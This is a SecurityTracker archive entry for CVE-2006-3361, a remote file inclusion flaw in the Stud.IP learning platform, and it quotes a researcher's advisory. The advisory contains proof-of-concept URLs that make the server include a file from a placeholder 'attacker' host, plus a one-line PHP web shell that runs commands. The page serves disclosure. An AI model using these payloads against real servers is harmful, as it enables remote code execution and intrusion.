SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


Try our Premium Alert Service
 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service





Category:   Application (Generic)  >   Stud.IP Vendors:   studip.de
Stud.IP Include File Bugs Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016418
SecurityTracker URL:  http://securitytracker.com/id/1016418
CVE Reference:   CVE-2006-3361   (Links to External Site)
Updated:  Aug 12 2008
Original Entry Date:  Jul 1 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.3.0-2 and prior versions
Description:   Hamid Ebadi of IRAN HOMELAND SECURITY team reported a vulnerability in Stud.IP. A remote user can include and execute arbitrary code on the target system.

The software does not properly validate user-supplied input. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

The '_PHPLIB[libdir] parameter in 'studip-phplib/oohforms.inc' and the 'ABSOLUTE_PATH_STUDIP' parameter in 'studip-htdocs/archiv_assi.php' is affected. Other scripts are also affected.

The original advisory is available at:

http://www.hamid.ir/security/
http://www.IHSteam.com

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.studip.de/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Stud.IP Remote File Inclusion

/*------------------------------------------------
		IHS Public advisory 
-------------------------------------------------*/

Stud.IP Remote File Inclusion 
Stud.IP is a learning and an information management
system for universities, educational facilities and
enterprises. 

http://www.studip.de
http://www.data-quest.de
http://www.sourceforge.net/projects/studip


Discovered by Hamid Ebadi 
Credit :
all go to IHS team (IHS : IRAN HOMELAND SECURITY)
www.ihsteam.com (persian)
www.ihsteam.net (english)


The original article can be found at: 
http://www.hamid.ir/security/
http://www.IHSteam.com

Vulnerable Systems:
	studip 1.3.0-2 and below 

	
Input passed to the "_PHPLIB[libdir]" parameter in
studip-phplib/oohforms.inc and to the
"ABSOLUTE_PATH_STUDIP"  parameter in
studip-htdocs/archiv_assi.php is not properly verified
before being used to include files.
This can be exploited to execute arbitrary PHP code by
including files from local or external resources.


Vulnerable Code :
[path]/studip-1.3.0-2/studip-phplib/oohforms.inc
//Vulnerable Code :line 378
include($_PHPLIB["libdir"] . "of_text.inc");
include($_PHPLIB["libdir"] . "of_select.inc");
include($_PHPLIB["libdir"] . "of_radio.inc");
include($_PHPLIB["libdir"] . "of_checkbox.inc");
include($_PHPLIB["libdir"] . "of_textarea.inc");
include($_PHPLIB["libdir"] . "of_file.inc");

Vulnerable Code :
[path]/studip-1.3.0-2/studip-htdocs/archiv_assi.php
//Vulnerable Code :line 22
require_once($ABSOLUTE_PATH_STUDIP . "dates.inc.php");
// Funktionen zum Loeschen von Terminen
require_once($ABSOLUTE_PATH_STUDIP . "datei.inc.php");
// Funktionen zum Loeschen von Dokumenten
.
.
.

NOTE : archiv_assi.php  is just one of Vulnerable file
, you can find this vulnerability in many other studip
file 
simply search for "ABSOLUTE_PATH_STUDIP"  and see the
result .
here are some example :
lit_search.php
links_sms.inc.php
register2.php
show_news.php
...

Successful exploitation requires that
"register_globals" is enabled.
in most cases "register_globals" is enable because 
studip-doc/en/studip_installation_guide.txt
// line 225
register_globals = on
This option must be set in any case, as Stud.IP will
only work with global 
variables at this time.


POC Exploits:

The following URL will cause the server to include
external files  
http://localhost/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls
-al&ABSOLUTE_PATH_STUDIP=http://attacker/cmd.gif?
http://localhost/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls
-al&_PHPLIB[libdir]=http://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly
verified.


greeting :
LorD , NT , C0d3r of IHS
hossein simorgh

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2018, SecurityGlobal.net LLC